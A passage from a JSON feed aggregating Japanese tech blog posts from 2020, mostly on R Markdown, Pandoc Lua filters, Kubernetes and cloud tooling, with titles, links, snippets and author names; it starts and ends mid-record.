Markdownを使ったウェブサイトの作成ができます。名前の通り、ブログを念頭に置いたパッケージです。ドキュメントは以下にあります。ググると日本語の記事もそれなりに出てきます。","isoDate":"2020-12-25T00:00:00.000Z","dateMiliSeconds":1608854400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocで出力形式に依存せず見出し番号をつけたり、第1章とか第1.1節とか装飾したい","link":"https://blog.atusy.net/2020/12/24/decorate-section-numbers-on-any-format-with-pandoc/","contentSnippet":"昨日はHTML出力の場合に限って、見出し番号の装飾方法を紹介しました。PandocでHTML出力時に見出し番号を第1章とか第1.1節とかしたいただ、昨日の段階ではどの方法も一長一短だったので、今日は任意の出力に対応するLuaフィルタを用意しました。","isoDate":"2020-12-24T00:00:00.000Z","dateMiliSeconds":1608768000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2020年にKubernetse関連で取り組んだことまとめ","link":"https://bells17.medium.com/2020-kubernetse-4771e660a174?source=rss-713cf42ce34d------2","isoDate":"2020-12-23T16:04:00.000Z","dateMiliSeconds":1608739440000,"authorName":"bells17","authorId":"bells17"},{"title":"PandocでHTML出力時に見出し番号を第1章とか第1.1節とかしたい","link":"https://blog.atusy.net/2020/12/23/decorate-section-numbers-on-pandoc/","contentSnippet":"Pandoc単体では見出し番号を装飾してくれません。HTML出力の場合、Luaフィルタ、CSS、JavaScriptと3つほど選択肢があるので、それぞれの方法とメリット・デメリットを紹介します。","isoDate":"2020-12-23T00:00:00.000Z","dateMiliSeconds":1608681600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GCP の Identity Aware-Proxy を使って SSH した話","link":"https://qiita.com/dirtymosschan/items/fd11001daa68d7c8d943","contentSnippet":"#Cloud Identity Aware-Proxy とは?一言で表すと、Google のアカウントを使ってセキュアにリソースに接続できるプロキシサービスです。###何ができる?GCP 上の…","isoDate":"2020-12-22T11:20:18.000Z","dateMiliSeconds":1608636018000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"gRPC-WebとGoとVue.jsで簡素なチャット","link":"https://qiita.com/atsuya0/items/f994ca9d820d307daffd","contentSnippet":"はじめに何だか良くわからないけどよく聞くgRPC-Webなるものを触りだけでも理解すべく辛うじてチャット呼べそうなものを作ってみました。概要gRPCとはhttps://grpc.io/Pr…","isoDate":"2020-12-17T17:06:43.000Z","dateMiliSeconds":1608224803000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"VolumePlugin がボリュームを作成・マウントするしくみ","link":"https://qiita.com/kyohmizu/items/40bee7037e1ce7949772","contentSnippet":"はじめにPod の作成時、pod.spec.volumes に記述したボリュームがコンテナにマウントされます。マウントされる Node 側のボリュームを、VolumePlugin がどのように作…","isoDate":"2020-12-17T10:54:47.000Z","dateMiliSeconds":1608202487000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Tidymodelsで使えるモデルの紹介とモデルの追加方法","link":"https://blog.atusy.net/2020/12/13/add-parsnip-model/","contentSnippet":"Tidymodelsが標準で提供するモデルと追加で提供するモデルについて軽く紹介し、更に自前でモデルを組んでみます。Rアドベントカレンダー、12/14の記事です。","isoDate":"2020-12-13T00:00:00.000Z","dateMiliSeconds":1607817600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Sidekiqのジョブをパフォーマンスを考えて削除する","link":"https://qiita.com/atsuya0/items/30d6259766a9a0d5103d","contentSnippet":"はじめにRailsで処理を何らかの理由で遅延させた場合や非同期に処理を行いたいときに多くの人がActive Jobを使用していると思います。とても便利で良いやつなのですがキューに積んだジョブを削…","isoDate":"2020-12-12T17:37:05.000Z","dateMiliSeconds":1607794625000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"任意のファイルをPNGファイルで隠してみる","link":"https://qiita.com/atsuya0/items/a8ccbc9637c37cdf967e","contentSnippet":"はじめにある日、私はファイルを連結したらどうなるんだろうという好奇心に逆らえず、おもむろに連結して確かめてみることにしました。結果、その連結したファイルは普通にファイルとして使えることがわかりま…","isoDate":"2020-12-12T14:56:30.000Z","dateMiliSeconds":1607784990000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Luaフィルタがアツイ2020","link":"https://blog.atusy.net/2020/12/07/lua-filter-is-hot/","contentSnippet":"Pandoc Advent Calendar 2020の12/7の記事です。多様なドキュメントフォーマット間を変換できるPandocでは、「フィルター」という機能を使って、変換処理に割り込みをかけることができます。","isoDate":"2020-12-07T00:00:00.000Z","dateMiliSeconds":1607299200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":".gcloudignoreの書き方","link":"https://zenn.dev/satohjohn/articles/11df180df878ac","contentSnippet":".gcloudignore の設定が思ったとおりに、いかなかったのでまとめます。.gitignoreと同じらしいですが、そもそもgitで今まで全体をignoreすることはやったことなかったので基本はコチラに書いてあるのですが、わからなかった部分も含みますhttps://cloud.google.com/sdk/gcloud/reference/topic/gcloudignore# 始まりはコメントです 基本の考え ファイル指定以下パターンすべてプロジェクト直下のものが対象になります。否定する場合は ! をつけます。!a.txt というファイルをデプロイ対象にしたい...","isoDate":"2020-11-30T09:57:54.000Z","dateMiliSeconds":1606730274000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"R MarkdownやPandocでMarkdown出力する時に数式をベクター画像化する","link":"https://blog.atusy.net/2020/11/15/pandoc-webtex-svg/","contentSnippet":"--webtex=https://latex.codecogs.com/svg.latex?と指定するとSVG画像化した高品質な数式を得られるよ。","isoDate":"2020-11-15T00:00:00.000Z","dateMiliSeconds":1605398400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R MarkdownやPandocでMarkdown出力する時に数式をPNG画像化する","link":"https://blog.atusy.net/2020/11/08/math-in-markdown/","contentSnippet":"R MarkdownやPandocは数式をレンダリングする方法をいくつか提供しています1。代表的な方法にMathJaxやKaTeXがありますが、これらはJavaScriptで実装されているため、出力形式がマークダウンで、ビューアーがGitHubのような場合、利用できません。","isoDate":"2020-11-08T00:00:00.000Z","dateMiliSeconds":1604793600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"pinsパッケージならリモートファイルをローカルと別のリモートキャッシュできる","link":"https://blog.atusy.net/2020/11/04/pins/","contentSnippet":"さわりのさわりなので、詳しくは公式を参照してね。pins::pin関数を使うと、Web上のリソースをキャッシュできる。デフォルトではローカルにキャッシュする。使い方は簡単で、関数に与えるURLをpins::pin関数でラッピングしておくだけ。","isoDate":"2020-11-04T00:00:00.000Z","dateMiliSeconds":1604448000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"#OsakaR で2回目のもくもく会を開催しました","link":"https://blog.atusy.net/2020/11/02/osakar-mokumoku-2/","contentSnippet":"2020/10/31に開催しました。第1回は2020/6/6だったので、実に4ヶ月ぶり。もう少し頻度をあげたいとろですが、家族や他の勉強会とのバランスを考えると中々難しいところです。今回は私がRStudio PBCのテーブルコンテストに参戦したく、追い込みをかけるために突如企画した、というのが内情だったりします。昨日の記事にした通り、無事投稿しました。せっかくなので徒然と記録や思いを残しておきます。","isoDate":"2020-11-02T00:00:00.000Z","dateMiliSeconds":1604275200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio PBCのテーブルコンテストに投稿しました","link":"https://blog.atusy.net/2020/11/01/rstudio-table-contest/","contentSnippet":"2019年のShinyコンテストに続き、2020年は表コンテストが開催されました(開催案内)。実用的なのからネタなものまで幅広くテーブルを募るもので、投稿期間は9/15から10/31でした。大枠としては、Single Table Example: 面白い構造をした表、便利な機能や特殊な機能を使った表、特定の分野で用いられる表などTutorial: パッケージの機能紹介を通して素敵な表を組む方法をまとめるOtherで、更に表の形式として","isoDate":"2020-11-01T00:00:00.000Z","dateMiliSeconds":1604188800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocでHTML出力する時の数式の扱い","link":"https://blog.atusy.net/2020/10/31/pandoc-math-rendering-engines/","contentSnippet":"基本はMath rendering in HTMLに記載の通り。--mathjaxや--katexはJavaScriptやCSSの読み込みをするだけで数式部分の出力は変わらないと思ってたけど、そうでもなかったのでメモがてら全パターンを試す。","isoDate":"2020-10-31T00:00:00.000Z","dateMiliSeconds":1604102400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ベクトルから要素を除去する方法とsetdiffの罠","link":"https://blog.atusy.net/2020/10/27/remove-elements-from-vector/","contentSnippet":"以下のxからyを除去してみましょう。x <- c(\'banana\', \'banana\', \'apple\', \'grape\')y <- c(\'apple\', \'grape\')%in%演算子を使えばxの要素がyに含まれているか判定できるので、簡単ですね。x[!x %in% y]#> [1] \\"banana\\" \\"banana\\"もっと簡単「そう」な方法に、setdiff関数があります。ただしこいつは中でunique関数をかけている点に注意が必要です。","isoDate":"2020-10-27T00:00:00.000Z","dateMiliSeconds":1603756800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kubernetes Internal #1を開催しました","link":"https://bells17.medium.com/kubernetes-internal-1-ea0f1adcfe33?source=rss-713cf42ce34d------2","isoDate":"2020-10-19T10:29:31.000Z","dateMiliSeconds":1603103371000,"authorName":"bells17","authorId":"bells17"},{"title":"R MarkdownでHTML出力時に見出しのURLを簡単に取得できるようにした","link":"https://blog.atusy.net/2020/10/18/rmd-anchor-sections/","contentSnippet":"このブログでも使えてます。ここにマウスを重ねると#記号が見出しの最後に現れ、クリックするとブラウザのURL覧から見出しのURLを取得できるようにしました(PR #1884)。#記号を右クリックしてメニューからCopy link locationとかしてもOK。","isoDate":"2020-10-18T00:00:00.000Z","dateMiliSeconds":1602979200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Istio の timeout, retry, circuit breaking, etc","link":"https://medium.com/@yteraoka/istio-%E3%81%AE-timeout-retry-circuit-breaking-etc-c170285447e8?source=rss-8b55af126a13------2","isoDate":"2020-10-17T14:52:08.000Z","dateMiliSeconds":1602946328000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"オープンソースソフトウェア開発の貢献に必要なスキルは何かとインタビューされた","link":"https://blog.atusy.net/2020/10/04/contributing-oss/","contentSnippet":"とある筋からオープンソースソフトウェア開発への貢献に必要なスキルセットは何かとインタビューを受けた。氏の研究に必要らしくて受けたが、今日のことをブログにしても構わないとのことだったので、ちょっとメモがてら書き残しておこう。","isoDate":"2020-10-04T00:00:00.000Z","dateMiliSeconds":1601769600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"AWS CDK on Scala ~ Scalaでインフラ管理してみたはなし / Manage infrastructure with AWS CDK on Scala","link":"https://speakerdeck.com/nomadblacky/manage-infrastructure-with-aws-cdk-on-scala","contentSnippet":"https://scala-tokyo.connpass.com/event/187140/","isoDate":"2020-09-25T04:00:00.000Z","dateMiliSeconds":1601006400000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"ggplot2で列の値をそのまま色の値にしつつレジェンドも表示する(`scale_*_identity`関数)","link":"https://blog.atusy.net/2020/09/21/ggplot-scale-identity-with-legend/","contentSnippet":"ggplot2パッケージではscale_*_identityという名前の関数を使うと、審美的属性にマッピングした列の値をそのまま色やサイズ、透明度に反映できます。ただし、デフォルトでは凡例が表示されません。","isoDate":"2020-09-21T00:00:00.000Z","dateMiliSeconds":1600646400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2とplotlyで作成したグラフから凡例を残してデータを非表示にする","link":"https://blog.atusy.net/2020/09/19/ggplotly-legend-visibility/","contentSnippet":"plotlyで作成したグラフは凡例をクリックすると、データの表示・非表示を変更できます。ではデフォルトで一部の凡例を非表示にする方法はあるでしょうか。","isoDate":"2020-09-19T00:00:00.000Z","dateMiliSeconds":1600473600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"kubeadmの共通処理の実装","link":"https://bells17.medium.com/kubeadm-common-implementation-a5e5b3890dde?source=rss-713cf42ce34d------2","isoDate":"2020-09-12T19:22:01.000Z","dateMiliSeconds":1599938521000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes (k8s) 管理者用GUI Lens","link":"https://qiita.com/tozastation/items/804949c69df5d53643c6","contentSnippet":"Lensとはlensapp/lensk8sで動作する全てのリソースをモニタリングしてくれるGUIアプリLinux/Mac/Windowsで動作するこんな感じ(kindで作ったクラスタ見てます)…","isoDate":"2020-09-07T12:53:18.000Z","dateMiliSeconds":1599483198000,"authorName":"tozastation","authorId":"tozastation"},{"title":"パッケージのチェックをR-hubのあらゆるプラットフォームで実行し通す","link":"https://blog.atusy.net/2020/09/07/rhub-test-all-for-cran/","contentSnippet":"結論rhub::check_for_cran(platforms = rhub::platforms()$name)負担かけすぎるのもよくないのでほどほどに。背景からCRANに投稿する際、2つ以上のプラットフォームでパッケージをチェックすることが推奨されている。","isoDate":"2020-09-07T00:00:00.000Z","dateMiliSeconds":1599436800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"UMAPを異常検知の前処理に使う時に、異常データの一部もUMAPに学習させるとよさそう","link":"https://blog.atusy.net/2020/09/02/umap-outlier/","contentSnippet":"UMAPは高次元データを似たもの同士が近くなるように次元縮約してくれる便利な手法だ。t-SNEよりも高速なことに加え、訓練しておいたモデルを新規データに適用できることも魅力。","isoDate":"2020-09-02T00:00:00.000Z","dateMiliSeconds":1599004800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Slinky で Scala.js 製 React Webアプリケーションを つくったはなし / How to build a Scala.js React web application in Slinky","link":"https://speakerdeck.com/nomadblacky/how-to-build-a-scala-dot-js-react-web-application-in-slinky","contentSnippet":"Scala.js 向けの React フレームワークである Slinky でWebアプリケーションを作成したはなし","isoDate":"2020-08-30T04:00:00.000Z","dateMiliSeconds":1598760000000,"authorName":"Takumi Kadowaki","authorId":"nomadblacky"},{"title":"ftExtra 0.0.2、0.0.3をリリースしました","link":"https://blog.atusy.net/2020/08/30/ftextra-0-0-3/","contentSnippet":"ftExtra 0.0.3をリリースしました。0.0.2をリリースしたらCRANにSolarisでうまくvignetteをビルドできねえんだけど、なんとかしないとCRANから消すねって言われて、慌てて0.0.3をリリースしました1。ユーザーレベルで認識できる変更は0.0.2のものです。","isoDate":"2020-08-30T00:00:00.000Z","dateMiliSeconds":1598745600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocやR Markdownでマルチカラムレイアウト","link":"https://blog.atusy.net/2020/08/24/pandoc-columns/","contentSnippet":"スライドを筆頭にしばしば2カラム以上のレイアウトなどを利用したくなりますね。R Markdownの場合、revealjsパッケージでマルチカラムを利用する方法が、私を含め複数の人によって提案されてきました。","isoDate":"2020-08-24T00:00:00.000Z","dateMiliSeconds":1598227200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdownとrevealjsとluaフィルタでチャンクやブロック要素をincrementalに表示する","link":"https://blog.atusy.net/2020/08/15/incremental-revealjs/","contentSnippet":"","isoDate":"2020-08-15T00:00:00.000Z","dateMiliSeconds":1597449600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown Cookbookの原稿をレビューをしました","link":"https://blog.atusy.net/2020/08/10/reviewed-rmarkdown-cookbook/","contentSnippet":"待望の「R Markdown Cookbook」が今年出ます。Webからも閲覧可能です(https://bookdown.org/yihui/rmarkdown-cookbook)。私も小ネタの提供やレビューで協力させて頂き、謝辞に載せていただきました。READMEでは2020年8月出版予定となってますが、多分、遅れるんじゃないかな?","isoDate":"2020-08-10T00:00:00.000Z","dateMiliSeconds":1597017600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud SQLへのprivate ip 接続でハマった話","link":"https://qiita.com/SatohJohn/items/e79f363798a6233f9ad2","contentSnippet":"概要Cloud SQL(MySQL)に対してprivate ipを使ってアクセスしたときに、何をチェックしたかをメモするハマったからにはきちんとログを残す現象GCE から Cloud SQL…","isoDate":"2020-08-07T16:53:50.000Z","dateMiliSeconds":1596819230000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"情報処理安全確保支援士の関連資料","link":"https://kyohmizu.hatenablog.com/entry/2020/08/05/115459","contentSnippet":"情報処理安全確保支援士の業務を行う上で、参照すべき資料一覧です。サイバーセキュリティ基本法(平成二十六年法律第百四号)情報処理の促進に関する法律(昭和四十五年法律第九十号)情報処理学会倫理綱領RFC:1087 倫理とインターネット(Ethics and the Internet)セキュリティ対応組織 (SOC,CSIRT)強化に向けたサイバーセキュリティ情報共有の「5W1H」 v2.0 (2019年4月)JPCERT インシデントハンドリングマニュアルIPA 脆弱性対策の効果的な進め方(ツール活用編)情報セキュリティ早期警戒パートナーシップガイドラインIPA 重要なセキュリティ情報一覧IPA 共通脆弱性評価システムCVSS v3概説JVN (Japan Vulnerability Notes)JVN 脆弱性レポートの読み方JVN iPediaFIRST Common Vulnerability Scoring System SIGCWE (Common Weakness Enumeration)IPA 脆弱性体験学習ツール AppGoatMyJVNIPA 組織における内部不正防止ガイドライン地方公共団体における情報セキュリティポリシーに関するガイドライン(平成30年9月版)IPA 委託関係における情報セキュリティ対策ガイドラインIPA 中小企業の情報セキュリティ対策ガイドラインIPA 情報漏えい対策のしおりNISC スマートフォン等の業務利用における情報セキュリティ対策の実施手順作成手引書個人情報の保護に関する法律についてのガイドラインIPA 企業(組織)における最低限の情報セキュリティ対策のしおりスマートフォンのセキュリティ<危険回避>対策のしおりJPCERT/CC 技術メモ - 安全な Web ブラウザの使い方IPA ウェブブラウザのプロテクションプロファイル","isoDate":"2020-08-05T02:54:59.000Z","dateMiliSeconds":1596596099000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"CRANを見据えるならパッケージの機能が最小限の内に送ってしまえ","link":"https://blog.atusy.net/2020/07/27/creating-package/","contentSnippet":"金曜日にchunkhooksパッケージをCRANに送りだしました。コードブロックに行番号をつけたり、fig.widthの単位をインチからミリメートルに変換したり、そんなおお役立ちフックをちょこちょこ盛り込んでいます。","isoDate":"2020-07-27T00:00:00.000Z","dateMiliSeconds":1595808000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tibbleでカラーコードを示す列を色付けてみる","link":"https://blog.atusy.net/2020/07/23/color-tibble-column/","contentSnippet":"にすぜっとさんのツィートを見かけて挑戦してみました (https://twitter.com/niszet0/status/1286245706504708101)。まっとうな人はformattableとかそーゆーの使った方がいいんじゃないかな。以下のコードをRStudioのコンソールにでもコピペしてみてくださいな。ちなみにR MarkdownではRStudio IDEのpreview画面にも、HTMLなどの出力にも反映されない。","isoDate":"2020-07-23T00:00:00.000Z","dateMiliSeconds":1595462400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"テスト駆動開発してCRANに投げるの大事ネ","link":"https://blog.atusy.net/2020/07/20/cran-package-with-tests/","contentSnippet":"CRANに登録済みのftExtraパッケージはPandocのASTを扱ったりする都合上、内部のデータ操作が結構複雑なので、自分の意図した動作が実現するか随時確認できるように、単体テストを重視していました。","isoDate":"2020-07-20T00:00:00.000Z","dateMiliSeconds":1595203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker/verse:4.0.2を使おうとして躓いた","link":"https://blog.atusy.net/2020/07/17/rocker-verse-4-0-2/","contentSnippet":"RをDockerで簡単に使えるようにするプロジェクトとしてrockerがあります。こいつ、R 3.x.x系とR 4.x.x系でDockerfileの書き方が結構変わったので、拡張イメージを作っている人は要注意です。","isoDate":"2020-07-17T00:00:00.000Z","dateMiliSeconds":1594944000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"自作キーボードLily 58 ProのスィッチをChoc Red Proに換装した","link":"https://blog.atusy.net/2020/07/13/choc-red-pro/","contentSnippet":"左右分離式のLily 58 Proを使っています。キースィッチがソケット式になっていて、簡単に交換できるのがウリの一つ。このとところキーが重くて入力に失敗することがあるのが気になっていたので、キースィッチオープナーを使ってスプリングを交換してやろうかと考えていました。その場合、DMMあたりでオープナーを買って、遊舎工房あたりでスプリングを買って、作業もそれなりにあってと大仕事。","isoDate":"2020-07-13T00:00:00.000Z","dateMiliSeconds":1594598400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tokyo.R 86でifもforも使わずにlifegameを実装する話をしてきました","link":"https://blog.atusy.net/2020/06/29/tokyor86-lifegame/","contentSnippet":"「え!? ifもforも使わずにライフゲームの実装を!?」「できらR!!」 というタイトルで話してきました。時間切れになってしまうあたり、準備不足を晒してしまってお恥ずかしい限りでした。もっと伝えたいことがあったのに!","isoDate":"2020-06-29T00:00:00.000Z","dateMiliSeconds":1593388800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"AWS CodeBuild において オンプレのJenkins では成功していたファイル権限系のテストをするとうまくいかない","link":"https://qiita.com/tayakun/items/6b721985bc098dda9846","contentSnippet":"この記事を書くに至った経緯私が開発しているチームでは、Jenkinsでビルド・テストを行っていました。色々と環境をAWSに載せ替えていく中で、AWS CodeBuildを使用することになりました。ところが、ReadOnlyに設定したファイルにWriteできないことをテストすると失敗しているではないか…","isoDate":"2020-06-22T15:15:05.000Z","dateMiliSeconds":1592838905000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"R Markdownでhtml_documentを拡張する時の注意点 (self_contained)","link":"https://blog.atusy.net/2020/06/22/extending-rmarkdown-without-self-contained/","contentSnippet":"rmarkdown::html_documentをrmarkdown::output_formatで拡張する時、引数の指定方法を注意しないと、self_contained引数やkeep_md引数がうまく機能しなくなります(参考: オリジナルなR Markdownの出力形式を作るoutput_format関数事始め)。","isoDate":"2020-06-22T00:00:00.000Z","dateMiliSeconds":1592784000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Mac VScode Maven でJunit 使ってみた","link":"https://qiita.com/tayakun/items/16201aa0371fa874ec78","contentSnippet":"はじめにとりあえずVSCodeでJUnit使ってユニットテスト体験してみたい人が対象です。まだJavaすらMacに入れてないんだ!って人はこちらを参考にしてみてください。動作環境macOS …","isoDate":"2020-06-19T18:23:53.000Z","dateMiliSeconds":1592591033000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Handy Admission Webhook Library","link":"https://qiita.com/toVersus/items/5316e94490d60c220af7","contentSnippet":"Kubernetes の Admission Webhook を開発する際に、kubernetes/api をラップした軽量なライブラリやフレームワークを使うことがあると思います。kubernet…","isoDate":"2020-06-14T05:05:07.000Z","dateMiliSeconds":1592111107000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"R Markdownで出力結果を隠せるようにしてみた (minidownパッケージ)","link":"https://blog.atusy.net/2020/06/14/minidown-with-result-folding/","contentSnippet":"minidownパッケージを使うと以下のような感じのことができるようになります。Resultsの部分をクリックすると図が現れます。plot(iris)Results実例は http://minidown.atusy.net/#results-folding を参照してください。","isoDate":"2020-06-14T00:00:00.000Z","dateMiliSeconds":1592092800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Mac VSCode JavaでHelloWorldした","link":"https://qiita.com/tayakun/items/a38386288c50233c6a90","contentSnippet":"はじめにタイトル通り、ただHelloWorldするだけです。よくある標準出力するだけの課題とかをささっとすますにはいいかもしれません。今からこの環境でWebアプリとか作っちゃうんだ!って人には…","isoDate":"2020-06-10T14:57:49.000Z","dateMiliSeconds":1591801069000,"authorName":"Soichiro Taya","authorId":"tayakun"},{"title":"Osaka.Rで昼間のリモートもくもく会を開催しました (2020/6/6)","link":"https://blog.atusy.net/2020/06/08/osakar-mokumoku-20200606/","contentSnippet":"Osaka.Rで昼間のリモートもくもく会を開催しました。これは毎平日の朝に行っているリモートもくもく会のグレードアップ版的な位置付けです。休日開催することで、朝もくより長く時間をとり、進捗を出しつつさらに参加者同士で進捗を可視化しようという試みです。","isoDate":"2020-06-08T00:00:00.000Z","dateMiliSeconds":1591574400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Chaos Mesh によるカオスエンジニアリング","link":"https://medium.com/@yteraoka/chaos-mesh-%E3%81%AB%E3%82%88%E3%82%8B%E3%82%AB%E3%82%AA%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0-46fa2897c742?source=rss-8b55af126a13------2","isoDate":"2020-06-02T03:16:16.000Z","dateMiliSeconds":1591067776000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"knitr::opts_hooksを設定するとチャンクキャッシュが更新されうる","link":"https://blog.atusy.net/2020/06/02/chunk-hooks-may-invalidates-cache/","contentSnippet":"R Markdownのチャンクのキャッシュは、チャンクオプションかコメント以外のコードに変更が加わった場合に更新されます。またR Markdownの背後で動いているknitrパッケージにはフックという概念があり、例えば特定のチャンクオプションがNULL以外の値の場合に発火する関数を仕込むことができます。この場合、関数はチャンクオプションを引数で受け取り、新しいチャンクオプションを返します。","isoDate":"2020-06-02T00:00:00.000Z","dateMiliSeconds":1591056000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandoc Lua Filtersのreturnの挙動と複数のフィルタを書くときの用例","link":"https://blog.atusy.net/2020/05/31/lua-filter-returns/","contentSnippet":"PandocのLua Filterでは、Lua Type Referenceに載っている型と同じ名前の関数を作成すると、その型の要素を見つけて順々に関数を適用してくれる。たとえば、Pandoc関数を作成すると、ドキュメント全体のASTを受けとって処理を実行できる。以下は、Luaフィルタを実行していると教えてくれる例。","isoDate":"2020-05-31T00:00:00.000Z","dateMiliSeconds":1590883200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tokyo.R 85で「R Markdownのオリジナルフォーマットを作ろう」の話をしてきました","link":"https://blog.atusy.net/2020/05/25/tokyor85/","contentSnippet":"毎週月曜日はブログ更新の日!と決めつつ、土曜に発表頑張ったからいいよなあと言う気分に。なので発表しましたとの記録だけ残しておきます。スライドはこちら成果minidownパッケージを不況できた1オリジナルフォーマット作りに興味を持つ人が出てくれた2想定ターゲットとマッチする参加者がいた3肥大化したYAMLフロントマターをなんとかしたい依存ファイルの関係を整理したいLua Filterの有効性を実感頂けた4課題Pandocの処理のお話はまだあまり詳しくR界隈で知られていないように思う。今回のテーマと関連するところでは以下あたり。","isoDate":"2020-05-25T00:00:00.000Z","dateMiliSeconds":1590364800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub ActionsからGAEにdeployする際のsecretの扱い","link":"https://qiita.com/SatohJohn/items/2341168ccb93c5e144ab","contentSnippet":"概要この記事の内容としては以下の通りGAEのapp.yamlが環境変数を読み取らないので、値をなんとか渡す方法。GitHubActionsで認証ファイルを扱う方法。ユースケースとして、GAE…","isoDate":"2020-05-13T08:20:51.000Z","dateMiliSeconds":1589358051000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"オリジナルなR Markdownの出力形式を作る`output_format`関数事始め","link":"https://blog.atusy.net/2020/05/11/rmd-output-fromat-function/","contentSnippet":"rmarkdown::output_format関数は、新規に、あるいは既存の出力形式を上書きしてオリジナルなR Markdownのの出力形式を作成するための関数です。rmarkdown::render関数を実行する際に、レンダリングに必要な情報をリストで渡します。リストの内容は、自身のbase_format引数を除く引数の名前です。詳しくはドキュメントを参照して頂くか、その内解説する日を待って頂きたいところ。","isoDate":"2020-05-11T00:00:00.000Z","dateMiliSeconds":1589155200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"朝もくを1ヶ月して得た教訓とか #OsakaR","link":"https://blog.atusy.net/2020/05/10/my-way-of-asamoku/","contentSnippet":"1 目標を宣言しよう1.1 朝もくの間に達成できる粒度の目標を作ろう1.2 色々やろう2 進捗は報告しよう3 互いを褒めよう4 別のコミュニティも利用しよう5 アウトプットしよう6 Enjoy!!Osaka.Rの活動としてリモート朝もくを始め1ヶ月ほどが経過しました。良い機会なので、その過程で得た教訓とかをまとめておきたいと思います。必ずしも毎回守れているわけではありませんが、大事にしていきたいので宣言もかねてblog化しました。","isoDate":"2020-05-10T00:00:00.000Z","dateMiliSeconds":1589068800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"html_document(self_contained = FALSE) で出力した時の携帯性をあげるextra_dependencies引数","link":"https://blog.atusy.net/2020/05/03/rmd-extra-dependencies/","contentSnippet":"rmarkdown::html_document関数には、self_contained引数がFALSEな時でも依存しているJavaScriptやCSSをポータブルにするために、extra_dependencies引数が用意されています。本記事ではこの引数の使い方について紹介します。","isoDate":"2020-05-03T00:00:00.000Z","dateMiliSeconds":1588464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocにself containedさせたくないデータには`data-external=\\"1\\"`を属性付与しよう","link":"https://blog.atusy.net/2020/04/27/pandoc-data-external/","contentSnippet":"self containedなドキュメントでも数式を使うR Markdownの場合Enjoy先日の記事ではR MarkdownでKaTeXをCDNから読み込む際に、Pandocが出力にKaTeXを埋め込まないようにするハックを紹介しました。","isoDate":"2020-04-27T00:00:00.000Z","dateMiliSeconds":1587945600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R MarkdownでKaTeXを使う","link":"https://blog.atusy.net/2020/04/23/katex-in-html-doc/","contentSnippet":"はじめにアイディア実装プレースホルダの作成KaTeXスクリプトの用意フォーマット関数の用意ベースフォーマットの用意ベースフォーマットを改変する関数の用意レンダリング実用化に向けてEnjoy!はじめに今、Rmdから出力できるHTML5でJavaScript控え目で軽量で高速なHTML文書フォーマットとして、minidown::mini_documentを開発しています。割と実用段階に入ったと思うので、以下のサンプルページを見て見てください。https://minidown-example.atusy.net/","isoDate":"2020-04-23T00:00:00.000Z","dateMiliSeconds":1587600000000,"authorName":"Atsushi 